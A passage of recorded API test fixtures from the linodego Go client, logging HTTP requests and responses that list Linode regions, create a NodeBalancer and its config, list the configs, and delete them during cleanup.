767869, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "436" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767869/configs/1266907 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767869 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:32 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestNodeBalancerConfigs_List.yaml000066400000000000000000000727021474652371000331410ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:32 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":640290}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 767870, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-87-64.ip.linodeusercontent.com", "ipv4": "172.232.87.64", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:32 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","algorithm":"roundrobin","check_interval":60}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767870/configs method: POST response: body: '{"id": 1266908, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 767870, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:32 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767870/configs?page=1 method: GET response: body: '{"data": [{"id": 1266908, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 767870, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "487" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767870/configs/1266908 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767870 method: DELETE response: body: '{}' 